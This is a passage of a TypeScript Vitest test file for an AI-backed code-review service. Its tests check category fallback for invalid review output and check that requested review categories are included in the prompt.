|
"summary": "test",
|
|
"comments": [
|
|
{ "filePath": "src/index.ts", "startLine": 1, "body": "Test", "severity": "medium", "category": "invalid_category" }
|
|
]
|
|
}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
const result = await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
});
|
|
|
|
expect(result.comments[0].category).toBe('code_quality');
|
|
});
|
|
});
|
|
|
|
describe('categories focus', () => {
|
|
beforeEach(async () => {
|
|
vi.mocked(cliDetection.detectAllCLis).mockResolvedValue({
|
|
claude: {
|
|
detected: true,
|
|
cli: { installed: true, authenticated: true },
|
|
issues: [],
|
|
},
|
|
codex: null,
|
|
cursor: null,
|
|
coderabbit: null,
|
|
opencode: null,
|
|
});
|
|
// Initialize provider cache to avoid async issues
|
|
await service.initialize();
|
|
// Mock getBestProvider to return 'claude' directly to avoid async issues
|
|
vi.spyOn(service, 'getBestProvider').mockResolvedValue('claude');
|
|
});
|
|
|
|
it('should include categories in prompt when specified', async () => {
|
|
// Create mock processes inside mockImplementation to ensure events emit after listeners attach
|
|
let spawnCallCount = 0;
|
|
vi.mocked(spawn).mockImplementation(() => {
|
|
spawnCallCount++;
|
|
return spawnCallCount === 1
|
|
? createMockChildProcess({ stdout: 'src/index.ts\n' })
|
|
: createMockChildProcess({ stdout: 'diff content' });
|
|
});
|
|
|
|
vi.mocked(simpleQueryService.streamingQuery).mockResolvedValue({
|
|
text: `\`\`\`json
|
|
{"verdict": "approved", "summary": "test", "comments": []}
|
|
\`\`\``,
|
|
stopReason: 'end_turn',
|
|
});
|
|
|
|
await service.executeReview({
|
|
projectPath: '/test/project',
|
|
baseRef: 'HEAD~1', // Explicit baseRef to skip worktree detection
|
|
categories: ['security', 'performance'],
|
|
});
|
|
|
|
expect(simpleQueryService.streamingQuery).toHaveBeenCalledWith(
|
|
expect.objectContaining({
|
|
prompt: expect.stringContaining('security, performance'),
|
|
})
|
|
);
|
|
});
|
|
});
|
|
});
|